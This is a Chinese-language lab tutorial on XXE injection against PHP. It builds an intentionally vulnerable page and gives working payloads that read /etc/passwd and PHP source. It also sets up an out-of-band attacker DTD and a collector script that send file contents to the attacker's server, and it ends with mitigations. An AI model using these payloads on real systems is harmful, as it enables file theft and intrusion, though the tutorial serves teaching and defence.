目录
一、XEE漏洞简介
1、什么是XEE漏洞
2、XML介绍
二、XXE 漏洞代码详解
1、XXE 漏洞代码
2、XXE 漏洞演示
3、读取 PHP 文件
三、无回显文件读取
1、实验拓扑
2、Kali 服务器准备工作
3、进行 XXE 攻击
四、XXE 漏洞修补
一、XEE漏洞简介
1、什么是XEE漏洞
XXE全称是——XML External Entity,也就是XML外部实体注入攻击。通过 XML实体,"SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取数据。所以攻击者可以通过XML实体传递自己构造的恶意值,使处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
2、XML介绍
XML指可扩展标记语言(Extensible Markup Language)
XML是一种标记语言,很类似HTML
XML的设计宗旨是传输数据,而非显示数据。HTML被设计用来显示数据。
XML标签没有被预定义。您需要自行定义标签。
XML被设计为具有自我描述性。
XML是W3C的推荐标准。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free "free nice">
]>
<note>
<to>George&free;</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
二、XXE 漏洞代码详解
1、XXE 漏洞代码
实验环境:开启 Metasploitable 靶机
root@metasploitable:~# cd /var/www/
root@metasploitable:~# vim xxe.php #插入以下内容
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>
代码解释
file_get_contents() 函数把整个文件读入一个字符串中。
php://input #是个可以访问请求的原始数据的只读流。
结合 file_get_contents(“php://input”)可以读取 POST 提交的数据。存入
$xml
simplexml_load_string 函数介绍
php 中的 simplexml_load_string 函数将 xml 格式字符串转换为对应的 SimpleXMLElement
Object
例:使用 simplexml_load_string 将 note 输入 XML 数值打印出来
root@metasploitable:~# vim test.php
<?php
$note=
<<<XML
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>
注:黑客进行 XXE 注入的思路:
1、file_get_contents(“php://input”)可以读取 POST 提交的数据
2、那么我们通过 POST 提交 XML 代码,
3、XML 代码中引用外部 DTD,读取黑客想要的系统文件
4、通过 simplexml_load_string()函数显示数据。
即通过 simplexml_load_string()函数将 XML 代码和引用的系统文件转换成 SimpleXMLElement
Object 格式打印出来,此时加载的系统文件也会被打印出来。
2、XXE 漏洞演示
在 Kali 中开启 burpsuite 截断
访问:http://192.168.1.107/xxe.php
Payload 内容如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
在上面的代码中, XML 外部实体(外部实体在 XML 中被引用) xxe 被赋予的值为:
file:///etc/passwd。在解析 XML 文档的过程中,实体 'xxe' 的值会被替换为
URI(file://etc/passwd)内容值(也就是 passwd 文件的内容)。
关键字 'SYSTEM' 会告诉 XML 解析
器,'xxe' 实体的值将从其后的 URI 中读取,并把读取的内容替换 xxe 出现的地方。
假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器
本地文件(file:///etc/passwd)或者远程文件。
3、读取 PHP 文件
php 文件需要进行加密才能够被读取。
修改 payload 读取 xxe.php 文件,代码如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM
"php://filter/read=convert.base64-encode/resource=xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
php 文件经过 base64 加密之后就可以正常读取了。
这里推荐一下
php://filter
的用法
探索php://filter在实战当中的奇技淫巧 - linuxsec - 博客园 (cnblogs.com)https://www.cnblogs.com/linuxsec/articles/12684259.html
使用bp自动的工具解码
三、无回显文件读取
1、实验拓扑
本实验环境采用PentesterLab
实验环境描述:Kali 作为黑客并建立黑客接收和提交数据的 Web 站点,PentesterLab 作为
server 被攻击端。
2、Kali 服务器准备工作
我们需要建立一个外部的 dtd 文件,一个用于接收数据的 php 文件,以及存储数据的数据文件。
(1)建立 dtd 外部实体文件:
└─# cd /var/www/html/
└─# vim test.dtd #插入以下内容
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.226.131/xxe.php?pass=%p1;'>">
%p2;
注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内
容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用。
(2)建立 php 文件
└─# vim xxe.php #插入以下内容
<?php
$pass=$_GET['pass'];
file_put_contents('pass.txt',$pass);
?>
(3)创建存储数据的文件
└─# touch pass.txt
(4)修改文件权限
└─# chown -R www-data:www-data /var/www/html/*
(5)启动 apache2
└─# systemctl start apache2
(6)测试 php 文件能够正常写入数据
└─# curl http://
192.168.226.131
/xxe.php?pass=1
└─# cat pass.txt
3、进行 XXE 攻击
访问 PentesterLab 地址
点击 Login
开启 burpsuite 进行截断
直接点击登录,不需要输入用户名密码
Payload 代码:
<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.226.131/test.dtd">
<foo>&e1;</foo>
修改抓到包的内容
改:Content-Type: application/x-www-form-urlencoded
为:Content-Type:text/xml
插入
Payload 代码
获取 passwd 文件内容
└─# cat pass.txt
四、XXE 漏洞修补
1、升级 libxml 版本
libxml2.9.0 以后,默认不解析外部实体
http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html
2、代码层防御
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的 XML 数据
关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC。